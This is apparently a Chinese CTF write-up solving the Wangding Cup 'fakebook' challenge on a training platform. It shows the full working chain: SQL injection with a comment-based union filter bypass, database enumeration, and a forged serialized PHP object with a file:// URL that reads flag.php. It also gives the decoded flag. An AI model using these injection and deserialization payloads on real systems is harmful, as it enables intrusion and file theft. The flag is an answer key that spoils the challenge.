网鼎杯SQLI+反序列化读取文件题解

先注册一个账号,然后发现http://ede1e494b5d64ab8adc945efde6138b168f86c65a30e4a4f.game.ichunqiu.com/view.php?no=1存在注入

联合查询中union会被拦截,于是用注释符绕过 http://ede1e494b5d64ab8adc945efde6138b168f86c65a30e4a4f.game.ichunqiu.com/view.php?no=22 union/*!*/ select 1,2,3,4%23并且在报错中发现返回字段要进行反序列化

并且请求网页进行了base64编码输出,所以判断后端php用了file_get_contents函数,但是在join.php对博客地址做了限制,不可以用file://域

于是想到两个思路

1.直接导出一个shell,因为在报错的时候得到了绝对路径(需要写入权限)

2.通过反序列化,请求本地文件获得flag(需要序列化后的字符串)

经过测试发现方法1的权限不够,于是开始查询表的内容

union select 1,2,3,4中,其中2这个点是可以直接输出的,是用户名,于是在这个点直接注入,先找出数据库、表、字段名等信息(可以参考从零开始写安全脚本系列)

得到数据库名  fakebook

得到表名 users

字段名 no,username,data

于是想到在join.php文件的注册中我是输入了密码年龄和博客地址的,分别为passwd,age,blog。推测这三个数据序列化后存放于data中

构造注出一行data用来构造反序列化

 通过如上注出的data,构造一下语句访问本地文件

 O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:17:"file:/// var/www/ html/flag.php";} 
 
 
最后直接请求
 http://ede1e494b5d64ab8adc945efde6138b168f86c65a30e4a4f.game.ichunqiu.com/view.php?no=22%20union/**/%20select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:11;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%20from%20fakebook.users%20limit%201%23 
 
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tkMmIyODgxYy0wMmQ3LTQxN2YtYWI4Ny02OTBlZTJiOWEwNjV9IjsNCmV4aXQoMCk7DQo=
 
->base64decode->

<?php

$flag = "flag{d2b2881c-02d7-417f-ab87-690ee2b9a065}";
exit(0);

 
原文地址:https://www.cnblogs.com/xsseng/p/9507244.html